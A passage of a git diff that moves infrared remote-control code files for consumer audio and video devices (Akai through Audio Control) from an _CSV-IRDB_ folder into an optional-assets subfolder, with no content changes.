a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aopen/Media PC/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aopen/Media PC/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aopen/Media PC/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aopen/Media PC/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/DVD Player/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apex/DVD Player/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apple/Apple TV/238,135.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Apple TV/238,135.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apple/Apple TV/238,135.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Apple TV/238,135.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apple/Computer/238,135.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Computer/238,135.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apple/Computer/238,135.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Computer/238,135.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apple/MP3 Player/1,222.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/MP3 Player/1,222.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apple/MP3 Player/1,222.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/MP3 Player/1,222.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apple/MP3 Player/238,135.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/MP3 Player/238,135.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apple/MP3 Player/238,135.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/MP3 Player/238,135.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Apple/iPod/238,135.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/iPod/238,135.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Apple/iPod/238,135.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/iPod/238,135.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/CD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/CD Player/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/CD Player/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/CD Player/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/CD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Music System/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Music System/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Music System/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Music System/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Music System/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Music System/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/19,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/19,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/19,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/19,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Tuner/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Tuner/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Tuner/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Tuner/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Astro/Satellite/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Astro/Satellite/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Astro/Satellite/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Astro/Satellite/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlona/Switcher/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlona/Switcher/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Atlona/Switcher/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlona/Switcher/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio 